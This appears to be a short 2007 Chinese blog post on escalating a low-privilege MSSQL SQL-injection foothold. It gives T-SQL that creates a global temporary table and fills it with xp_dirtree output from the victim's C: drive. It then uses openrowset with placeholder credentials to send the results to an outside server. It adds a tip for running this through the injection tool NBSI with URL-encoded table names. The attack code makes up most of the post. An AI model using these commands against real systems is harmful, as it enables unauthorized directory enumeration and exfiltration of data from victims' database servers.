提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧

--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表

#-----为本地临时表
##----为全局临时表

create table ##nonamed(

      dir ntext,

      num int

)

--调用存储过程把执行回来的数据存到临时表里面

insert ##nonamed execute master..xp_dirtree 'c:\',1

--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')

select * from ##nonamed

以上方法,也就是说public可以遍历用户服务器的目录
在NBSI中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!
posted on 2007-08-12 09:30  %5C  阅读(737)  评论(0编辑  收藏  举报